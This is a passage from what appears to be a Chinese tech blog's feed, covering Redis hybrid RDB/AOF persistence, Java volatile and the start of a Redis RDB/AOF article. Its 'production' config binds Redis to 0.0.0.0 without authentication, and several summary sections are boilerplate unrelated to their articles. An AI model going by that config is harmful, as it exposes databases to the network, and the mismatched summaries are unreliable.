class="line"></span><br><span class="line">恢复时：</span><br><span class="line">1. 加载RDB前缀 → 快速恢复大部分数据</span><br><span class="line">2. 执行AOF命令 → 恢复最新增量数据</span><br></pre></td></tr></table></figure><p><strong>优势</strong>：</p><ul><li>恢复速度接近RDB</li><li>数据安全性接近AOF</li><li>文件大小比纯AOF小</li></ul><h2 id="二、混合持久化配置"><a href="#二、混合持久化配置" class="headerlink" title="二、混合持久化配置"></a>二、混合持久化配置</h2><p>#</p><h2 id="2-1-开启配置"><a href="#2-1-开启配置" class="headerlink" title="2.1 开启配置"></a>2.1 开启配置</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># redis.conf (Redis 4.0+)</span><br><span class="line"></span><br><span class="line"># 开启AOF</span><br><span class="line">appendonly yes</span><br><span class="line"></span><br><span class="line"># 开启混合持久化（默认yes）</span><br><span class="line">aof-use-rdb-preamble yes</span><br><span class="line"></span><br><span class="line"># AOF重写触发条件</span><br><span class="line">auto-aof-rewrite-percentage 100</span><br><span class="line">auto-aof-rewrite-min-size 64mb</span><br><span class="line"></span><br><span class="line"># RDB同时保存</span><br><span class="line">save 900 1</span><br><span class="line">save 300 10</span><br><span class="line">save 60 10000</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-验证配置"><a href="#2-2-验证配置" class="headerlink" title="2.2 验证配置"></a>2.2 验证配置</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看混合持久化是否开启</span></span><br><span class="line">redis-cli CONFIG GET aof-use-rdb-preamble</span><br><span class="line"><span class="comment"># 1) &quot;aof-use-rdb-preamble&quot;</span></span><br><span class="line"><span class="comment"># 2) &quot;yes&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看AOF文件信息</span></span><br><span class="line">redis-cli INFO persistence</span><br><span class="line"><span class="comment"># aof_enabled:1</span></span><br><span class="line"><span class="comment"># aof_rewrite_in_progress:0</span></span><br><span class="line"><span class="comment"># aof_rewrite_scheduled:0</span></span><br></pre></td></tr></table></figure><h2 id="三、混合持久化的工作原理"><a href="#三、混合持久化的工作原理" class="headerlink" title="三、混合持久化的工作原理"></a>三、混合持久化的工作原理</h2><p>#</p><h2 id="3-1-AOF重写流程（混合模式）"><a href="#3-1-AOF重写流程（混合模式）" class="headerlink" title="3.1 AOF重写流程（混合模式）"></a>3.1 AOF重写流程（混合模式）</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">触发AOF重写</span><br><span class="line">    │</span><br><span class="line">    ├── fork子进程</span><br><span class="line">    │       │</span><br><span class="line">    │       ├── 子进程：生成RDB格式数据</span><br><span class="line">    │       │       └── 扫描内存，写入临时AOF文件</span><br><span class="line">    │       │           （前部为RDB二进制格式）</span><br><span class="line">    │       │</span><br><span class="line">    │       └── 父进程：继续服务客户端</span><br><span class="line">    │               └── 新命令写入AOF重写缓冲区</span><br><span class="line">    │</span><br><span class="line">    ├── 子进程完成写入</span><br><span class="line">    │       │</span><br><span class="line">    │       └── 通知父进程</span><br><span class="line">    │</span><br><span class="line">    ├── 父进程将重写缓冲区的命令追加到临时文件</span><br><span class="line">    │       └── （后部为AOF文本格式）</span><br><span class="line">    │</span><br><span class="line">    ├── 原子替换旧AOF文件</span><br><span class="line">    │</span><br><span class="line">    └── 完成</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-生成的AOF文件格式"><a href="#3-2-生成的AOF文件格式" class="headerlink" title="3.2 生成的AOF文件格式"></a>3.2 生成的AOF文件格式</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看AOF文件头部（混合模式）</span></span><br><span class="line"><span class="built_in">head</span> -c 10 appendonly.aof | xxd</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出示例：</span></span><br><span class="line"><span class="comment"># 00000000: 5245 4449 5330 3031 30ff              REDIS0010.</span></span><br><span class="line"><span class="comment"># </span></span><br><span class="line"><span class="comment"># 以&quot;REDIS&quot;开头，说明是RDB格式前缀</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看AOF文件中后部的文本命令</span></span><br><span class="line"><span class="built_in">tail</span> -20 appendonly.aof</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出示例：</span></span><br><span class="line"><span class="comment"># *2</span></span><br><span class="line"><span class="comment"># $6</span></span><br><span class="line"><span class="comment"># SELECT</span></span><br><span class="line"><span class="comment"># $1</span></span><br><span class="line"><span class="comment"># 0</span></span><br><span class="line"><span class="comment"># *3</span></span><br><span class="line"><span class="comment"># $3</span></span><br><span class="line"><span class="comment"># SET</span></span><br><span class="line"><span class="comment"># $4</span></span><br><span class="line"><span class="comment"># name</span></span><br><span class="line"><span class="comment"># $5</span></span><br><span class="line"><span class="comment"># Alice</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-文件结构详解"><a href="#3-3-文件结构详解" class="headerlink" title="3.3 文件结构详解"></a>3.3 文件结构详解</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">混合AOF文件：</span><br><span class="line"></span><br><span class="line">┌─────────────────────────────────────────────────────────────┐</span><br><span class="line">│ RDB前缀（二进制）                                            │</span><br><span class="line">│ ┌─────────┬─────────┬─────────────────┬─────────┐          │</span><br><span class="line">│ │ REDIS   │ VERSION │ SELECT DB 0     │ KEY-VALUE PAIRS │  │</span><br><span class="line">│ │ magic   │ 0009    │                 │ (RDB编码)       │  │</span><br><span class="line">│ └─────────┴─────────┴─────────────────┴─────────┘          │</span><br><span class="line">│                                                             │</span><br><span class="line">│ AOF后缀（文本）                                              │</span><br><span class="line">│ ┌───────────────────────────────────────────────────────┐  │</span><br><span class="line">│ │ *3\r</span><br><span class="line">$3\r</span><br><span class="line">SET\r</span><br><span class="line">$4\r</span><br><span class="line">name\r</span><br><span class="line">$5\r</span><br><span class="line">Alice\r</span><br><span class="line">      │  │</span><br><span class="line">│ │ ...                                                   │  │</span><br><span class="line">│ └───────────────────────────────────────────────────────┘  │</span><br><span class="line">└─────────────────────────────────────────────────────────────┘</span><br></pre></td></tr></table></figure><h2 id="四、恢复机制"><a href="#四、恢复机制" class="headerlink" title="四、恢复机制"></a>四、恢复机制</h2><p>#</p><h2 id="4-1-启动恢复流程"><a href="#4-1-启动恢复流程" class="headerlink" title="4.1 启动恢复流程"></a>4.1 启动恢复流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Redis启动</span><br><span class="line">    │</span><br><span class="line">    ├── 检查AOF文件是否存在</span><br><span class="line">    │       │</span><br><span class="line">    │      是</span><br><span class="line">    │       │</span><br><span class="line">    │       ├── 检查文件头是否为&quot;REDIS&quot;</span><br><span class="line">    │       │       │</span><br><span class="line">    │       │      是 → 混合AOF文件</span><br><span class="line">    │       │       │</span><br><span class="line">    │       │       ├── 加载RDB前缀</span><br><span class="line">    │       │       │       └── 使用RDB加载机制（快速）</span><br><span class="line">    │       │       │</span><br><span class="line">    │       │       └── 加载AOF后缀</span><br><span class="line">    │       │               └── 逐条执行命令（精确）</span><br><span class="line">    │       │</span><br><span class="line">    │       │      否 → 纯AOF文件</span><br><span class="line">    │       │       └── 逐条执行所有命令</span><br><span class="line">    │       │</span><br><span class="line">    │      否</span><br><span class="line">    │       └── 检查RDB文件</span><br><span class="line">    │               └── 加载RDB文件</span><br><span class="line">    │               └── 无文件则空启动</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-恢复速度对比"><a href="#4-2-恢复速度对比" class="headerlink" title="4.2 恢复速度对比"></a>4.2 恢复速度对比</h2><table><thead><tr><th>数据量</th><th>纯RDB</th><th>纯AOF</th><th>混合持久化</th></tr></thead><tbody><tr><td>1GB</td><td>数秒</td><td>数分钟</td><td>数秒</td></tr><tr><td>10GB</td><td>数十秒</td><td>数十分钟</td><td>数十秒</td></tr><tr><td>100GB</td><td>数分钟</td><td>数小时</td><td>数分钟</td></tr></tbody></table><p><strong>混合持久化的恢复速度接近RDB！</strong></p><h2 id="五、生产环境配置建议"><a href="#五、生产环境配置建议" class="headerlink" title="五、生产环境配置建议"></a>五、生产环境配置建议</h2><p>#</p><h2 id="5-1-推荐配置"><a href="#5-1-推荐配置" class="headerlink" title="5.1 推荐配置"></a>5.1 推荐配置</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># redis.conf</span><br><span class="line"></span><br><span class="line"># 基础配置</span><br><span class="line">bind 0.0.0.0</span><br><span class="line">port 6379</span><br><span class="line">daemonize yes</span><br><span class="line">pidfile /var/run/redis/redis-server.pid</span><br><span class="line">logfile /var/log/redis/redis-server.log</span><br><span class="line">dir /var/lib/redis</span><br><span class="line"></span><br><span class="line"># RDB配置</span><br><span class="line">save 900 1</span><br><span class="line">save 300 10</span><br><span class="line">save 60 10000</span><br><span class="line">stop-writes-on-bgsave-error yes</span><br><span class="line">rdbcompression yes</span><br><span class="line">rdbchecksum yes</span><br><span class="line">dbfilename dump.rdb</span><br><span class="line"></span><br><span class="line"># AOF配置</span><br><span class="line">appendonly yes</span><br><span class="line">appendfilename &quot;appendonly.aof&quot;</span><br><span class="line">appendfsync everysec</span><br><span class="line">no-appendfsync-on-rewrite no</span><br><span class="line"></span><br><span class="line"># 混合持久化（核心）</span><br><span class="line">aof-use-rdb-preamble yes</span><br><span class="line"></span><br><span class="line"># AOF重写配置</span><br><span class="line">auto-aof-rewrite-percentage 100</span><br><span class="line">auto-aof-rewrite-min-size 64mb</span><br><span class="line"></span><br><span class="line"># 加载截断AOF（防止AOF损坏导致无法启动）</span><br><span class="line">aof-load-truncated yes</span><br><span class="line"></span><br><span class="line"># 内存配置</span><br><span class="line">maxmemory 4gb</span><br><span class="line">maxmemory-policy allkeys-lru</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-不同场景的配置"><a href="#5-2-不同场景的配置" class="headerlink" title="5.2 不同场景的配置"></a>5.2 不同场景的配置</h2><p><strong>场景一：数据安全优先</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 金融、电商订单等</span><br><span class="line">appendonly yes</span><br><span class="line">appendfsync always          # 每次写入都fsync</span><br><span class="line">aof-use-rdb-preamble yes</span><br><span class="line">save &quot;&quot;                     # 禁用RDB自动save（减少fork）</span><br></pre></td></tr></table></figure><p><strong>场景二：性能优先</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 纯缓存场景</span><br><span class="line">appendonly yes</span><br><span class="line">appendfsync everysec</span><br><span class="line">aof-use-rdb-preamble yes</span><br><span class="line">save 900 1</span><br><span class="line">save 300 10</span><br></pre></td></tr></table></figure><p><strong>场景三：大数据量</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 100GB+ 数据</span><br><span class="line">appendonly yes</span><br><span class="line">appendfsync everysec</span><br><span class="line">aof-use-rdb-preamble yes</span><br><span class="line">auto-aof-rewrite-percentage 50    # 增长50%就重写</span><br><span class="line">auto-aof-rewrite-min-size 1gb     # 最小1GB</span><br></pre></td></tr></table></figure><h2 id="六、监控和维护"><a href="#六、监控和维护" class="headerlink" title="六、监控和维护"></a>六、监控和维护</h2><p>#</p><h2 id="6-1-监控指标"><a href="#6-1-监控指标" class="headerlink" title="6.1 监控指标"></a>6.1 监控指标</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># AOF文件大小</span></span><br><span class="line">redis-cli INFO persistence | grep aof_current_size</span><br><span class="line"></span><br><span class="line"><span class="comment"># AOF重写状态</span></span><br><span class="line">redis-cli INFO persistence | grep aof_rewrite</span><br><span class="line"></span><br><span class="line"><span class="comment"># RDB最后一次保存时间</span></span><br><span class="line">redis-cli LASTSAVE</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看持久化统计</span></span><br><span class="line">redis-cli INFO persistence</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-AOF重写监控脚本"><a href="#6-2-AOF重写监控脚本" class="headerlink" title="6.2 AOF重写监控脚本"></a>6.2 AOF重写监控脚本</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment"># monitor_aof.sh</span></span><br><span class="line"></span><br><span class="line">AOF_SIZE=$(redis-cli INFO persistence | grep aof_current_size | <span class="built_in">cut</span> -d: -f2)</span><br><span class="line">AOF_BASE=$(redis-cli INFO persistence | grep aof_base_size | <span class="built_in">cut</span> -d: -f2)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 计算增长百分比</span></span><br><span class="line"><span class="keyword">if</span> [ <span class="variable">$AOF_BASE</span> -gt 0 ]; <span class="keyword">then</span></span><br><span class="line">    PERCENTAGE=$(( (AOF_SIZE - AOF_BASE) * <span class="number">100</span> / AOF_BASE ))</span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;AOF增长: <span class="variable">$&#123;PERCENTAGE&#125;</span>%&quot;</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> [ <span class="variable">$PERCENTAGE</span> -gt 150 ]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;AOF增长过快，建议触发重写&quot;</span> | mail -s <span class="string">&quot;Redis AOF告警&quot;</span> admin@company.com</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">fi</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-定期维护"><a href="#6-3-定期维护" class="headerlink" title="6.3 定期维护"></a>6.3 定期维护</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 手动触发AOF重写（低峰期）</span></span><br><span class="line">redis-cli BGREWRITEAOF</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 监控重写进度</span></span><br><span class="line">redis-cli INFO persistence | grep aof_rewrite_in_progress</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 验证AOF文件完整性</span></span><br><span class="line">redis-check-aof --fix appendonly.aof</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 备份AOF文件</span></span><br><span class="line"><span class="built_in">cp</span> appendonly.aof /backup/redis/$(<span class="built_in">date</span> +%Y%m%d)/</span><br><span class="line"></span><br><span class="line"><span class="comment"># 5. 备份RDB文件</span></span><br><span class="line"><span class="built_in">cp</span> dump.rdb /backup/redis/$(<span class="built_in">date</span> +%Y%m%d)/</span><br></pre></td></tr></table></figure><h2 id="七、常见问题"><a href="#七、常见问题" class="headerlink" title="七、常见问题"></a>七、常见问题</h2><p>#</p><h2 id="7-1-AOF重写时内存暴涨"><a href="#7-1-AOF重写时内存暴涨" class="headerlink" title="7.1 AOF重写时内存暴涨"></a>7.1 AOF重写时内存暴涨</h2><p><strong>现象</strong>：BGREWRITEAOF期间内存使用翻倍</p><p><strong>原因</strong>：</p><ul><li>fork子进程的COW机制</li><li>父进程持续写入，大量页面被复制</li></ul><p><strong>解决</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 控制Redis内存使用（不超过物理内存50%）</span></span><br><span class="line"><span class="comment"># 2. 关闭透明大页</span></span><br><span class="line"><span class="built_in">echo</span> never &gt; /sys/kernel/mm/transparent_hugepage/enabled</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 监控并重写时机选择</span></span><br><span class="line"><span class="comment"># 在低峰期触发重写</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-AOF文件损坏"><a href="#7-2-AOF文件损坏" class="headerlink" title="7.2 AOF文件损坏"></a>7.2 AOF文件损坏</h2><p><strong>现象</strong>：Redis无法启动，报错 “Bad file format”</p><p><strong>解决</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 备份损坏的AOF文件</span></span><br><span class="line"><span class="built_in">cp</span> appendonly.aof appendonly.aof.corrupt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 修复AOF文件</span></span><br><span class="line">redis-check-aof --fix appendonly.aof</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 如果修复失败，从RDB恢复</span></span><br><span class="line"><span class="comment"># 删除AOF文件，从RDB启动</span></span><br><span class="line"><span class="built_in">rm</span> appendonly.aof</span><br><span class="line">redis-server /etc/redis/redis.conf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 重新开启AOF</span></span><br><span class="line">redis-cli CONFIG SET appendonly <span class="built_in">yes</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-混合持久化不生效"><a href="#7-3-混合持久化不生效" class="headerlink" title="7.3 混合持久化不生效"></a>7.3 混合持久化不生效</h2><p><strong>排查</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 检查Redis版本</span></span><br><span class="line">redis-cli INFO server | grep redis_version</span><br><span class="line"><span class="comment"># 需要 &gt;= 4.0</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 检查配置</span></span><br><span class="line">redis-cli CONFIG GET aof-use-rdb-preamble</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 检查AOF文件头</span></span><br><span class="line"><span class="built_in">head</span> -c 5 appendonly.aof</span><br><span class="line"><span class="comment"># 应该输出 &quot;REDIS&quot;</span></span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>持久化方式</th><th>恢复速度</th><th>数据安全</th><th>文件大小</th><th>推荐</th></tr></thead><tbody><tr><td>RDB</td><td>快</td><td>低</td><td>小</td><td>备份</td></tr><tr><td>AOF</td><td>慢</td><td>高</td><td>大</td><td>数据安全</td></tr><tr><td>混合</td><td>快</td><td>高</td><td>中</td><td><strong>生产推荐</strong></td></tr></tbody></table><p>混合持久化的核心价值：</p><ol><li><strong>快速恢复</strong>：RDB前缀秒级加载</li><li><strong>数据安全</strong>：AOF后缀保证不丢数据</li><li><strong>文件紧凑</strong>：比纯AOF小很多</li><li><strong>Redis 4.0+默认开启</strong>：开箱即用</li></ol><p>生产环境最佳实践：</p><ol><li>开启混合持久化（aof-use-rdb-preamble yes）</li><li>AOF使用everysec模式</li><li>同时配置RDB作为额外备份</li><li>定期验证备份可用性</li><li>监控AOF文件增长和重写状态</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>volatile 能保证什么不能保证什么</title>
      <link href="//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/"/>
      <url>//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="volatile-能保证什么不能保证什么"><a href="#volatile-能保证什么不能保证什么" class="headerlink" title="volatile 能保证什么不能保证什么"></a>volatile 能保证什么不能保证什么</h1><p>volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>volatile 保证可见性：一个线程的修改对其他线程立即可见</p></li><li><p>volatile 禁止指令重排：确保指令按照代码顺序执行</p></li><li><p>volatile 不保证原子性：复合操作仍然需要同步</p></li><li><p>volatile 适合作为状态标志，不适合作为计数器</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis持久化RDB与AOF</title>
      <link href="//redis-rdb-aof-persistence/"/>
      <url>//redis-rdb-aof-persistence/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis持久化RDB与AOF"><a href="#Redis持久化RDB与AOF" class="headerlink" title="Redis持久化RDB与AOF"></a>Redis持久化RDB与AOF</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、持久化概述"><a href="#一、持久化概述" class="headerlink" title="一、持久化概述"></a>一、持久化概述</h2><p>#</p><h2 id="1-1-为什么需要持久化"><a href="#1-1-为什么需要持久化" class="headerlink" title="1.1 为什么需要持久化"></a>1.1 为什么需要持久化</h2><ul><li>Redis数据存储在内存，进程退出数据丢失</li><li>持久化将内存数据保存到磁盘</li><li>用于重启恢复、备份、复制同步</li></ul><p>#</p><h2 id="1-2-两种持久化方式"><a href="#1-2-两种持久化方式" class="headerlink" title="1.2 两种持久化方式"></a>1.2 两种持久化方式</h2><table><thead><tr><th>方式</th><th>说明</th><th>优点</th><th>缺点</th></tr></thead><tbody><tr><td>RDB</td><td>快照，保存某一时刻的数据</td><td>文件紧凑，恢复速度快</td><td>可能丢数据</td></tr><tr><td>AOF</td><td>记录写操作日志</td><td>数据安全性高</td><td>文件大，恢复慢</td></tr></tbody></table><h2 id="二、RDB持久化"><a href="#二、RDB持久化" class="headerlink" title="二、RDB持久化"></a>二、RDB持久化</h2><p>#</p><h2 id="2-1-什么是RDB"><a href="#2-1-什么是RDB" class="headerlink" title="2.1 什么是RDB"></a>2.1 什么是RDB</h2><p>RDB（Redis Database）是将某一时刻的内存数据生成快照保存到磁盘：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">内存数据 ──fork──&gt; 子进程 ──写入──&gt; dump.rdb</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-触发方式"><a href="#2-2-触发方式" class="headerlink" title="2.2 触发方式"></a>2.2 触发方式</h2><p><strong>手动触发</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">SAVE        <span class="comment"># 阻塞主进程，直到完成</span></span><br><span class="line">BGSAVE      <span class="comment"># 后台执行，不阻塞</span></span><br></pre></td></tr></table></figure><p><strong>自动触发</strong>（配置文件）：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># redis.conf</span><br><span class="line">save 900 1      # 900秒内至少有1个key变化</span><br><span class="line">save 300 10     # 300秒内至少有10个key变化</span><br><span class="line">save 60 10000   # 60秒内至少有10000个key变化</span><br></pre></td></tr></table></figure><p><strong>其他触发</strong>：</p><ul><li>执行FLUSHALL/FLUSHDB（如果配置了save）</li><li>主从复制时，从节点发起同步</li><li>执行SHUTDOWN且没有开启AOF</li></ul><p>#</p><h2 id="2-3-BGSAVE的fork机制"><a href="#2-3-BGSAVE的fork机制" class="headerlink" title="2.3 BGSAVE的fork机制"></a>2.3 BGSAVE的fork机制</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">主进程                    子进程</span><br><span class="line">  │                        │</span><br><span class="line">  ├── fork() ─────────────&gt;│</span><br><span class="line">  │  （瞬间完成）            │</span><br><span class="line">  │                        │</span><br><span class="line">  │ 继续服务客户端           ├── 扫描内存</span><br><span class="line">  │                        │    写入RDB文件</span><br><span class="line">  │                        │</span><br><span class="line">  │  &lt;─────────────────────┤</span><br><span class="line">  │    子进程退出            │  写入完成</span><br></pre></td></tr></table></figure><p><strong>fork的过程</strong>：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Redis调用fork创建子进程</span></span><br><span class="line"><span class="type">pid_t</span> childpid = fork();</span><br><span class="line"><span class="keyword">if</span> (childpid == <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="comment">// 子进程：生成RDB文件</span></span><br><span class="line">    rdbSave(filename);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="comment">// 父进程：继续处理客户端请求</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>Copy-On-Write（写时复制）</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">fork后内存状态：</span><br><span class="line"></span><br><span class="line">父进程页表          子进程页表</span><br><span class="line">┌─────────┐        ┌─────────┐</span><br><span class="line">│ 虚拟页1  │──┬──&gt;  │ 虚拟页1  │──┬──&gt; 物理页1</span><br><span class="line">│ 虚拟页2  │──┼──&gt;  │ 虚拟页2  │──┼──&gt; 物理页2</span><br><span class="line">└─────────┘  │      └─────────┘  │</span><br><span class="line">             └───────────────────┘</span><br><span class="line">             共享物理内存（只读）</span><br><span class="line"></span><br><span class="line">父进程修改数据后：</span><br><span class="line"></span><br><span class="line">父进程页表          子进程页表</span><br><span class="line">┌─────────┐        ┌─────────┐</span><br><span class="line">│ 虚拟页1  │──┬──&gt;  │ 虚拟页1  │──┬──&gt; 物理页1（旧）</span><br><span class="line">│ 虚拟页2  │──┼──&gt;  │ 虚拟页2  │──┘</span><br><span class="line">└─────────┘  │      └─────────┘</span><br><span class="line">             └──&gt; 物理页2&#x27;（新，复制）</span><br><span class="line">             </span><br><span class="line">父进程修改虚拟页2时：</span><br><span class="line">1. 复制物理页2到新页2&#x27;</span><br><span class="line">2. 父进程页表指向新页2&#x27;</span><br><span class="line">3. 子进程页表仍指向旧页2</span><br></pre></td></tr></table></figure><p><strong>COW的优势</strong>：</p><ul><li>fork瞬间完成，不拷贝数据</li><li>只有修改的页才会复制</li><li>子进程看到fork时的数据快照</li></ul><p>#</p><h2 id="2-4-RDB文件格式"><a href="#2-4-RDB文件格式" class="headerlink" title="2.4 RDB文件格式"></a>2.4 RDB文件格式</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">RDB文件结构：</span><br><span class="line">┌─────────┬─────────┬─────────┬─────────┬─────────┬─────────┐</span><br><span class="line">│  REDIS  │ VERSION │  SELECT │  DB DATA│  SELECT │  EOF    │</span><br><span class="line">│  magic  │  0009   │  DB 0   │         │  DB 1   │ + CRC   │</span><br><span class="line">│  5字节  │  4字节  │         │         │         │         │</span><br><span class="line">└─────────┴─────────┴─────────┴─────────┴─────────┴─────────┘</span><br><span class="line"></span><br><span class="line">DB DATA格式：</span><br><span class="line">┌─────────┬─────────┬─────────┬─────────┐</span><br><span class="line">│ EXPIRE  │  TYPE   │  KEY    │  VALUE  │</span><br><span class="line">│ (可选)  │         │         │         │</span><br><span class="line">└─────────┴─────────┴─────────┴─────────┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-5-RDB配置"><a href="#2-5-RDB配置" class="headerlink" title="2.5 RDB配置"></a>2.5 RDB配置</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 